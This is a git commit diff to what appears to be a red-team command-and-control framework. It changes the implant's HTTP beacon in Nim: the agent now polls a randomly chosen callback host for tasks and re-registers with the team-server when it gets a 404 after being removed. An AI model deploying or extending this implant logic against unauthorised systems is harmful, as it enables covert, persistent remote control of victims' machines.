Agent now re-registers to the team-server when it is still alive after it was removed via the client.

This commit is contained in:
Jakob Friedl
2025-10-27 16:20:38 +01:00
parent f30f1d2ec0
commit c718e3647a
6 changed files with 58 additions and 44 deletions

View File

@@ -51,10 +51,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}")
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404:
ctx.registered = false
# Return if no tasks are queued
if responseBody.len <= 0:
let responseBody = waitFor response.body
if responseBody.len() <= 0:
return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data